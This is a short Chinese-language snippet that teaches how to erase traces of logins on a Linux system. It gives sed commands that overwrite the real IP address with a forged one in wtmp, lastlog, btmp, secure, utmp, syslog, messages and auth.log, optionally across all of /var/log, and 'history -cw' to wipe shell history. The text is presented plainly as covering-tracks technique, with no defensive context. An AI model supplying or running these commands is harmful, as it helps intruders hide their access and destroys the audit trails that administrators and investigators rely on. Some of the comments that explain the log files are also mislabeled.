清楚登录记录

很多人说日志不是明文的，是二进制的，只能清楚整个日志，但是忽略了日志中的ip是明文的，我们可以使用sed命令直接替换文件中的ip地址为伪造的ip地址vip。主要清除前面四个文件：wtmp、lastlog、btmp和secure，后面的文件可能不存在，如果觉得不放心，可以直接 sed -i 's/ip/vip/g' /var/log/* 修改所有日志文件

sed -i 's/ip/vip/g' /var/log/wtmp # 清除用户登录记录  ip改为实际ip地址，vip改为伪造的ip地址
sed -i 's/ip/vip/g' /var/log/lastlog # 清除尝试登录记录
sed -i 's/ip/vip/g' /var/log/btmp # 清除最近登录信息
sed -i 's/ip/vip/g' /var/log/secure # 登录信息
sed -i 's/ip/vip/g' /var/run/utmp
sed -i 's/ip/vip/g' /var/log/syslog # 记录系统日志的服务
sed -i 's/ip/vip/g' /var/log/messages
sed -i 's/ip/vip/g' /var/log/auth.log

清楚操作记录

history -cw